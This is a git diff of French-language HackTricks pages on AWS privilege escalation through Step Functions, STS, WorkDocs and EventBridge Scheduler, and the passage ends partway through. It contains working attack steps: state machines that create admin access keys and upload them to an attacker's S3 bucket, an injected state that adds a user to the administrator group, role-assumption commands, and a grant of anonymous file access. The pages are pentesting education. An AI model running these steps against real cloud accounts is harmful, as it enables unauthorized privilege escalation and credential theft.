file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole -{ -"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", -"creationDate": "2024-07-09T20:29:35.381000+02:00" -} -``` -- **Commande** exécutée pour **démarrer une exécution** de la machine d'état précédemment créée : -```json -aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine -{ -"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", -"startDate": "2024-07-09T20:33:35.466000+02:00" -} -``` -> [!WARNING] -> Le bucket S3 contrôlé par l'attaquant doit avoir des permissions pour accepter une action s3:PutObject du compte victime. - -**Impact potentiel** : Exécution non autorisée et manipulation de workflows et accès à des ressources sensibles, pouvant entraîner des violations de sécurité significatives. - -### `states:UpdateStateMachine` & (pas toujours requis) `iam:PassRole` - -Un attaquant avec la permission **`states:UpdateStateMachine`** serait capable de modifier la définition d'une machine d'état, pouvant ajouter des états furtifs supplémentaires qui pourraient aboutir à une élévation de privilèges. De cette manière, lorsque qu'un utilisateur légitime démarre une exécution de la machine d'état, ce nouvel état furtif malveillant sera exécuté et l'élévation de privilèges sera réussie. - -Selon la permissivité du rôle IAM associé à la machine d'état, un attaquant serait confronté à 2 situations : - -1. **Rôle IAM permissif** : Si le rôle IAM associé à la machine d'état est déjà permissif (il a par exemple la politique **`arn:aws:iam::aws:policy/AdministratorAccess`** attachée), alors la permission **`iam:PassRole`** ne serait pas requise pour élever les privilèges puisque ce ne serait pas nécessaire de mettre à jour le rôle IAM, la définition de la machine d'état suffisant. -2. **Rôle IAM non permissif** : Contrairement au cas précédent, ici un attaquant aurait également besoin de la permission **`iam:PassRole`** puisqu'il serait nécessaire d'associer un rôle IAM permissif à la machine d'état en plus de modifier la définition de la machine d'état. -```bash -aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ -[--tracing-configuration ] [--publish | --no-publish] [--version-description ] -``` -Les exemples suivants montrent comment mettre à jour une machine d'état légitime qui invoque simplement une fonction Lambda HelloWorld, afin d'ajouter un état supplémentaire qui ajoute l'utilisateur **`unprivilegedUser`** au groupe IAM **`administrator`**. De cette manière, lorsqu'un utilisateur légitime démarre une exécution de la machine d'état mise à jour, ce nouvel état furtif malveillant sera exécuté et l'escalade de privilèges sera réussie. - -> [!WARNING] -> Si la machine d'état n'a pas de rôle IAM permissif associé, il serait également nécessaire d'avoir la permission **`iam:PassRole`** pour mettre à jour le rôle IAM afin d'associer un rôle IAM permissif (par exemple, un avec la politique **`arn:aws:iam::aws:policy/AdministratorAccess`** attachée). - -{{#tabs }} -{{#tab name="Legit State Machine" }} -```json -{ -"Comment": "Hello world from Lambda state machine", -"StartAt": "Start PassState", -"States": { -"Start PassState": { -"Type": "Pass", -"Next": "LambdaInvoke" -}, -"LambdaInvoke": { -"Type": "Task", -"Resource": "arn:aws:states:::lambda:invoke", -"Parameters": { -"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" -}, -"Next": "End PassState" -}, -"End PassState": { -"Type": "Pass", -"End": true -} -} -} -``` -{{#endtab }} - -{{#tab name="Machine d'État Mise à Jour Malveillante" }} -```json -{ -"Comment": "Hello world from Lambda state machine", -"StartAt": "Start PassState", -"States": { -"Start PassState": { -"Type": "Pass", -"Next": "LambdaInvoke" -}, -"LambdaInvoke": { -"Type": "Task", -"Resource": "arn:aws:states:::lambda:invoke", -"Parameters": { -"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" -}, -"Next": "AddUserToGroup" -}, -"AddUserToGroup": { -"Type": "Task", -"Parameters": { -"GroupName": "administrator", -"UserName": "unprivilegedUser" -}, -"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", -"Next": "End PassState" -}, -"End PassState": { -"Type": "Pass", -"End": true -} -} -} -``` -{{#endtab }} -{{#endtabs }} - -- **Commande** exécutée pour **mettre à jour** **la machine d'état légitime** : -```bash -aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json -{ -"updateDate": "2024-07-10T20:07:10.294000+02:00", -"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" -} -``` -**Impact potentiel** : Exécution et manipulation non autorisées de flux de travail et accès à des ressources sensibles, pouvant entraîner des violations de sécurité significatives. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md new file mode 100644 index 000000000..bd1db4bee --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md @@ -0,0 +1,231 @@ +# AWS - Step Functions Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Step Functions + +For more information about this AWS service, check: + +{{#ref}} +../../aws-services/aws-stepfunctions-enum.md +{{#endref}} + +### Ressources de tâches + +Ces techniques d'escalade de privilèges vont nécessiter l'utilisation de certaines ressources Step Functions d'AWS afin d'exécuter les actions d'escalade de privilèges souhaitées. + +Pour vérifier toutes les actions possibles, vous pouvez vous rendre dans votre compte AWS, sélectionner l'action que vous souhaitez utiliser et voir les paramètres qu'elle utilise, comme dans : + +
+ +Vous pouvez également consulter la documentation API d'AWS et vérifier la documentation de chaque action : + +- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) +- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) + +### `states:TestState` & `iam:PassRole` + +An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, potentially enabling unauthorized access to other AWS services with the roles' permissions. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation. +```bash +aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] +``` +Les exemples suivants montrent comment tester un state qui crée une clé d'accès pour l'utilisateur **`admin`** en tirant parti de ces permissions et d'un rôle permissif de l'environnement AWS. Ce rôle permissif doit avoir une politique fortement privilégiée associée (par exemple **`arn:aws:iam::aws:policy/AdministratorAccess`**) qui permet au state d'effectuer l'action **`iam:CreateAccessKey`** : + +- **stateDefinition.json**: +```json +{ +"Type": "Task", +"Parameters": { +"UserName": "admin" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"End": true +} +``` +- **Commande** exécutée pour effectuer le privesc: +```bash +aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole + +{ +"output": "{ +\"AccessKey\":{ +\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", +\"CreateDate\":\"2024-07-09T16:59:11Z\", +\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", +\"Status\":\"Active\", +\"UserName\":\"admin\" +} +}", +"status": "SUCCEEDED" +} +``` +**Potential Impact** : Exécution et manipulation non autorisées des workflows et accès à des ressources sensibles, pouvant entraîner des violations de sécurité importantes. + +### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) + +Un attaquant disposant des permissions **`states:CreateStateMachine`**& **`iam:PassRole`** pourrait créer une state machine et lui fournir n'importe quel rôle IAM, permettant ainsi un accès non autorisé à d'autres services AWS avec les permissions du rôle. Contrairement à la précédente technique de privesc (**`states:TestState`** & **`iam:PassRole`**), celle-ci ne s'exécute pas d'elle‑même : vous devrez également disposer des permissions **`states:StartExecution`** ou **`states:StartSyncExecution`** (**`states:StartSyncExecution`** n'est **pas disponible pour les workflows standard**, **seulement pour les state machines de type Express**) afin de démarrer une exécution de la state machine. +```bash +# Create a state machine +aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ +[--tracing-configuration ] [--publish | --no-publish] [--version-description ] + +# Start a state machine execution +aws states start-execution --state-machine-arn [--name ] [--input ] [--trace-header ] + +# Start a Synchronous Express state machine execution +aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] +``` +Les exemples suivants montrent comment créer une state machine qui crée une access key pour l'utilisateur **`admin`** et exfiltre cette access key vers un S3 bucket contrôlé par un attaquant, en tirant parti de ces permissions et d'un rôle permissif de l'environnement AWS. Ce rôle permissif doit avoir une policy hautement privilégiée associée (par exemple **`arn:aws:iam::aws:policy/AdministratorAccess`**) qui permet à la state machine d'effectuer les actions **`iam:CreateAccessKey`** & **`s3:putObject`**. + +- **stateMachineDefinition.json**: +```json +{ +"Comment": "Malicious state machine to create IAM access key and upload to S3", +"StartAt": "CreateAccessKey", +"States": { +"CreateAccessKey": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"Parameters": { +"UserName": "admin" +}, +"ResultPath": "$.AccessKeyResult", +"Next": "PrepareS3PutObject" +}, +"PrepareS3PutObject": { +"Type": "Pass", +"Parameters": { +"Body.$": "$.AccessKeyResult.AccessKey", +"Bucket": "attacker-controlled-S3-bucket", +"Key": "AccessKey.json" +}, +"ResultPath": "$.S3PutObjectParams", +"Next": "PutObject" +}, +"PutObject": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:s3:putObject", +"Parameters": { +"Body.$": "$.S3PutObjectParams.Body", +"Bucket.$": "$.S3PutObjectParams.Bucket", +"Key.$": "$.S3PutObjectParams.Key" +}, +"End": true +} +} +} +``` +- **Commande** exécutée pour **créer la machine d'état**: +```bash +aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole +{ +"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", +"creationDate": "2024-07-09T20:29:35.381000+02:00" +} +``` +- **Commande** exécutée pour **démarrer une exécution** de la machine d'état précédemment créée: +```json +aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine +{ +"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"startDate": "2024-07-09T20:33:35.466000+02:00" +} +``` +> [!WARNING] +> Le bucket S3 contrôlé par l'attaquant doit avoir les permissions pour accepter une action s3:PutObject provenant du compte victime. + +**Impact potentiel**: Exécution et manipulation non autorisées des workflows et accès à des ressources sensibles, pouvant conduire à des violations de sécurité importantes. + +### `states:UpdateStateMachine` & (not always required) `iam:PassRole` + +Un attaquant disposant de la permission **`states:UpdateStateMachine`** pourrait modifier la définition d'une state machine, en ajoutant des états furtifs supplémentaires pouvant aboutir à une escalade de privilèges. Ainsi, lorsqu'un utilisateur légitime démarre une exécution de la state machine, ce nouvel état malveillant furtif sera exécuté et l'escalade de privilèges réussira. + +Selon le degré de permissivité du IAM Role associé à la state machine, un attaquant se trouverait face à 2 situations : + +1. **Permissive IAM Role**: Si le IAM Role associé à la state machine est déjà permissif (il possède par exemple la politique **`arn:aws:iam::aws:policy/AdministratorAccess`** attachée), alors la permission **`iam:PassRole`** ne serait pas nécessaire pour escalader les privilèges puisqu'il ne serait pas nécessaire de mettre à jour aussi le IAM Role ; la modification de la définition de la state machine suffit. +2. **Not permissive IAM Role**: Contrairement au cas précédent, ici un attaquant aurait également besoin de la permission **`iam:PassRole`** car il serait nécessaire d'associer un IAM Role permissif à la state machine en plus de modifier la définition de la state machine. +```bash +aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ +[--tracing-configuration ] [--publish | --no-publish] [--version-description ] +``` +Les exemples suivants montrent comment mettre à jour une state machine légitime qui invoque simplement une fonction Lambda HelloWorld, afin d'ajouter un état supplémentaire qui ajoute l'utilisateur **`unprivilegedUser`** au groupe IAM **`administrator`**. Ainsi, lorsqu'un utilisateur légitime lance une exécution de la state machine mise à jour, ce nouvel état malveillant et furtif sera exécuté et l'escalade de privilèges réussira. + +> [!WARNING] +> Si la state machine n'a pas de rôle IAM permissif associé, la permission **`iam:PassRole`** serait également requise pour mettre à jour le rôle IAM afin d'associer un rôle IAM permissif (par exemple un rôle avec la **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attachée). + +{{#tabs }} +{{#tab name="Legit State Machine" }} +```json +{ +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} +} +``` +{{#endtab }} + +{{#tab name="Malicious Updated State Machine" }} +```json +{ +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "AddUserToGroup" +}, +"AddUserToGroup": { +"Type": "Task", +"Parameters": { +"GroupName": "administrator", +"UserName": "unprivilegedUser" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} +} +``` +{{#endtab }} +{{#endtabs }} + +- **Commande** exécutée pour **mettre à jour** **la machine d'état légitime**: +```bash +aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json +{ +"updateDate": "2024-07-10T20:07:10.294000+02:00", +"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +``` +**Impact potentiel**: Exécution et manipulation non autorisées des workflows et accès aux ressources sensibles, pouvant entraîner d'importantes violations de sécurité. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md deleted file mode 100644 index fbbae435a..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ /dev/null @@ -1,136 +0,0 @@ -# AWS - STS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## STS - -### `sts:AssumeRole` - -Chaque rôle est créé avec une **politique de confiance du rôle**, cette politique indique **qui peut assumer le rôle créé**. Si un rôle du **même compte** indique qu'un compte peut l'assumer, cela signifie que le compte pourra accéder au rôle (et potentiellement **privesc**). - -Par exemple, la politique de confiance suivante indique que n'importe qui peut l'assumer, donc **n'importe quel utilisateur pourra effectuer un privesc** sur les permissions associées à ce rôle. -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": "sts:AssumeRole" -} -] -} -``` -Vous pouvez usurper un rôle en cours d'exécution : -```bash -aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname -``` -**Impact potentiel :** Privesc sur le rôle. - -> [!CAUTION] -> Notez que dans ce cas la permission `sts:AssumeRole` doit être **indiquée dans le rôle à abuser** et non dans une policy appartenant à l'attaquant.\ -> Avec une exception : pour **assumer un rôle dans un autre compte** le compte de l'attaquant **doit également** disposer de la **`sts:AssumeRole`** sur le rôle. - - -### `sts:AssumeRoleWithSAML` - -Une trust policy associée à ce rôle accorde **aux utilisateurs authentifiés via SAML l'accès pour usurper le rôle.** - -Un exemple de trust policy avec cette permission est: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "OneLogin", -"Effect": "Allow", -"Principal": { -"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" -}, -"Action": "sts:AssumeRoleWithSAML", -"Condition": { -"StringEquals": { -"SAML:aud": "https://signin.aws.amazon.com/saml" -} -} -} -] -} -``` -Pour générer des identifiants pour usurper le rôle, en général vous pouvez utiliser quelque chose comme : -```bash -aws sts assume-role-with-saml --role-arn --principal-arn -``` -Mais **les fournisseurs** peuvent proposer **leurs propres outils** pour rendre cela plus facile, comme [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): -```bash -onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 -``` -**Impact potentiel :** Privesc au rôle. - -### `sts:AssumeRoleWithWebIdentity` - -Cette permission permet d'obtenir un ensemble d'identifiants de sécurité temporaires pour **les utilisateurs qui ont été authentifiés dans une application mobile, une application web, EKS...** avec un fournisseur d'identité web. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) - -Par exemple, si un **compte de service EKS** doit pouvoir **se faire passer pour un rôle IAM**, il aura un token dans **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** et peut **assumer le rôle et obtenir des identifiants** en faisant quelque chose comme : -```bash -aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token -# The role name can be found in the metadata of the configuration of the pod -``` -### Federation Abuse - -{{#ref}} -../aws-basic-information/aws-federation-abuse.md -{{#endref}} - -### IAM Roles Anywhere Privesc - -AWS IAM RolesAnywhere permet à des workloads situés en dehors d'AWS d'assumer des IAM roles en utilisant des certificats X.509. Mais lorsque les politiques de confiance ne sont pas correctement limitées, elles peuvent être abusées pour une escalation de privilèges. - -Pour comprendre cette attaque, il est nécessaire d'expliquer ce qu'est une trust anchor. Une trust anchor dans AWS IAM RolesAnywhere est l'entité racine de confiance : elle contient le certificat public d'une Certificate Authority (CA) enregistrée dans le compte afin qu'AWS puisse valider les certificats X.509 présentés. Ainsi, si le certificat client a été émis par cette CA et que la trust anchor est active, AWS le reconnaît comme valide. - -De plus, un profil est la configuration qui définit quels attributs du certificat X.509 (comme CN, OU ou SAN) seront transformés en tags de session, et ces tags seront ensuite comparés aux conditions de la politique de confiance. - -Cette politique n'impose pas de restrictions sur les trust anchors ou les attributs de certificat autorisés. En conséquence, tout certificat lié à n'importe quelle trust anchor du compte peut être utilisé pour assumer ce rôle. -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"Service": "rolesanywhere.amazonaws.com" -}, -"Action": [ -"sts:AssumeRole", -"sts:SetSourceIdentity", -"sts:TagSession" -] -} -] -} - -``` -Pour privesc, le `aws_signing_helper` est requis depuis https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html - -Ensuite, en utilisant un certificat valide, l'attaquant peut pivoter vers un rôle de privilèges supérieurs. -```bash -aws_signing_helper credential-process \ ---certificate readonly.pem \ ---private-key readonly.key \ ---trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \ ---profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ ---role-arn arn:aws:iam::123456789012:role/Admin -``` -L'ancre de confiance valide que le certificat `readonly.pem` du client provient de sa CA autorisée, et à l'intérieur de ce certificat `readonly.pem` se trouve la clé publique qu'AWS utilise pour vérifier que la signature a été faite avec sa clé privée correspondante `readonly.key`. - -Le certificat fournit également des attributs (comme CN ou OU) que le profil `default` transforme en tags, que la trust policy du rôle peut utiliser pour décider d'autoriser l'accès. S'il n'y a pas de conditions dans la trust policy, ces tags sont inutiles et l'accès est accordé à toute personne disposant d'un certificat valide. - -Pour que cette attaque soit possible, l'ancre de confiance et le profil `default` doivent être actifs. - -### Références - -- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md new file mode 100644 index 000000000..c477e39a1 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md @@ -0,0 +1,136 @@ +# AWS - STS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## STS + +### `sts:AssumeRole` + +Chaque rôle est créé avec une **politique de confiance du rôle**, cette politique indique **qui peut assumer le rôle créé**. Si un rôle du **même compte** indique qu'un compte peut l'assumer, cela signifie que le compte pourra accéder au rôle (et potentiellement **privesc**). + +Par exemple, la politique de confiance du rôle suivante indique que n'importe qui peut l'assumer, donc **tout utilisateur pourra privesc** aux permissions associées à ce rôle. +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] +} +``` +Vous pouvez usurper un rôle en exécutant : +```bash +aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname +``` +**Impact potentiel :** Privesc vers le rôle. + +> [!CAUTION] +> Notez que dans ce cas la permission `sts:AssumeRole` doit être **indiquée dans le rôle à abuser** et non dans une stratégie appartenant à l'attaquant.\ +> Sauf une exception, pour **assumer un rôle depuis un compte différent** le compte de l'attaquant **doit également** avoir le **`sts:AssumeRole`** sur le rôle. + + +### `sts:AssumeRoleWithSAML` + +Une stratégie d'approbation (trust policy) associée à ce rôle accorde **aux utilisateurs authentifiés via SAML la possibilité de se faire passer pour le rôle.** + +Un exemple de stratégie d'approbation contenant cette permission est : +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OneLogin", +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" +}, +"Action": "sts:AssumeRoleWithSAML", +"Condition": { +"StringEquals": { +"SAML:aud": "https://signin.aws.amazon.com/saml" +} +} +} +] +} +``` +Pour générer des identifiants permettant d'usurper le rôle, vous pouvez généralement utiliser quelque chose comme : +```bash +aws sts assume-role-with-saml --role-arn --principal-arn +``` +Mais **les fournisseurs** pourraient avoir **leurs propres outils** pour faciliter cela, comme [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): +```bash +onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 +``` +**Impact potentiel :** Privesc sur le rôle. + +### `sts:AssumeRoleWithWebIdentity` + +Cette permission permet d'obtenir un ensemble d'identifiants de sécurité temporaires pour **les utilisateurs qui ont été authentifiés dans une application mobile, web, EKS...** auprès d'un fournisseur d'identité web. [En savoir plus ici.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) + +Par exemple, si un **EKS service account** devrait pouvoir **se faire passer pour un rôle IAM**, il aura un token dans **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** et peut **assumer le rôle et obtenir des identifiants** en faisant quelque chose comme : +```bash +aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token +# The role name can be found in the metadata of the configuration of the pod +``` +### Federation Abuse + +{{#ref}} +../../aws-basic-information/aws-federation-abuse.md +{{#endref}} + +### IAM Roles Anywhere Privesc + +AWS IAM RolesAnywhere permet à des workloads extérieurs à AWS d'assumer des IAM roles en utilisant des certificats X.509. Mais lorsque les trust policies ne sont pas correctement limitées, elles peuvent être abusées pour du privilege escalation. + +Pour comprendre cette attaque, il est nécessaire d'expliquer ce qu'est un trust anchor. Un trust anchor dans AWS IAM Roles Anywhere est l'entité racine de confiance ; il contient le certificat public d'une Certificate Authority (CA) enregistrée dans le compte afin qu'AWS puisse valider les certificats X.509 présentés. Ainsi, si le certificat client a été émis par cette CA et que le trust anchor est actif, AWS le reconnaît comme valide. + +De plus, un profile est la configuration qui définit quels attributs du certificat X.509 (tels que CN, OU ou SAN) seront transformés en session tags, et ces tags seront ensuite comparés aux conditions de la trust policy. + +Cette policy ne contient pas de restrictions sur les trust anchors ou les attributs de certificat autorisés. En conséquence, n'importe quel certificat lié à n'importe quel trust anchor du compte peut être utilisé pour assumer ce rôle. +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Service": "rolesanywhere.amazonaws.com" +}, +"Action": [ +"sts:AssumeRole", +"sts:SetSourceIdentity", +"sts:TagSession" +] +} +] +} + +``` +Pour privesc, le `aws_signing_helper` est requis depuis https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html + +Ensuite, en utilisant un certificat valide, l'attaquant peut effectuer un pivot vers un rôle à privilèges supérieurs. +```bash +aws_signing_helper credential-process \ +--certificate readonly.pem \ +--private-key readonly.key \ +--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \ +--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ +--role-arn arn:aws:iam::123456789012:role/Admin +``` +L'ancre de confiance valide que le certificat client `readonly.pem` provient de son CA autorisé, et dans ce certificat `readonly.pem` se trouve la clé publique qu'AWS utilise pour vérifier que la signature a été faite avec sa clé privée correspondante `readonly.key`. + +Le certificat fournit également des attributs (comme CN ou OU) que le profil `default` transforme en tags, que la politique de confiance du rôle peut utiliser pour décider d'autoriser l'accès. S'il n'y a pas de conditions dans la politique de confiance, ces tags n'ont aucune utilité, et l'accès est accordé à quiconque possède un certificat valide. + +Pour que cette attaque soit possible, l'ancre de confiance et le profil `default` doivent être actifs. + +### Références + +- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md similarity index 69% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md index ab4baa5f3..ffc6e66a1 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md @@ -1,23 +1,23 @@ # AWS - WorkDocs Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## WorkDocs Pour plus d'informations sur WorkDocs, consultez : {{#ref}} -../aws-services/aws-directory-services-workdocs-enum.md +../../aws-services/aws-directory-services-workdocs-enum.md {{#endref}} ### `workdocs:CreateUser` -Créez un utilisateur dans le répertoire indiqué, puis vous aurez accès à la fois à WorkDocs et à AD : +Créez un utilisateur dans le Directory indiqué, puis vous aurez accès à la fois à WorkDocs et à AD: ```bash # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` -### `workdocs:GetDocument`, `(workdocs:DescribeActivities)` +### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` Les fichiers peuvent contenir des informations sensibles, lisez-les : ```bash @@ -32,7 +32,7 @@ aws workdocs get-document --document-id ``` ### `workdocs:AddResourcePermissions` -Si vous n'avez pas accès pour lire quelque chose, vous pouvez simplement l'accorder. +Si vous n'avez pas l'autorisation de lire quelque chose, vous pouvez simplement l'accorder. ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER @@ -40,14 +40,14 @@ aws workdocs add-resource-permissions --resource-id --principals Id=anonymo ``` ### `workdocs:AddUserToGroup` -Vous pouvez rendre un utilisateur administrateur en le plaçant dans le groupe ZOCALO_ADMIN.\ +Vous pouvez rendre un utilisateur admin en l'ajoutant au groupe ZOCALO_ADMIN.\ Pour cela, suivez les instructions de [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) -Connectez-vous avec cet utilisateur dans workdoc et accédez au panneau d'administration à `/workdocs/index.html#/admin` +Connectez-vous avec cet utilisateur dans workdoc et accédez au panneau d'administration dans `/workdocs/index.html#/admin` -Je n'ai trouvé aucun moyen de le faire depuis le cli. +Je n'ai trouvé aucun moyen de faire cela depuis le cli. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md similarity index 58% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md index 047054fdd..93c745fc4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md @@ -1,20 +1,20 @@ # AWS - EventBridge Scheduler Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## EventBridge Scheduler -Plus d'infos sur EventBridge Scheduler dans : +Plus d'informations sur EventBridge Scheduler dans : 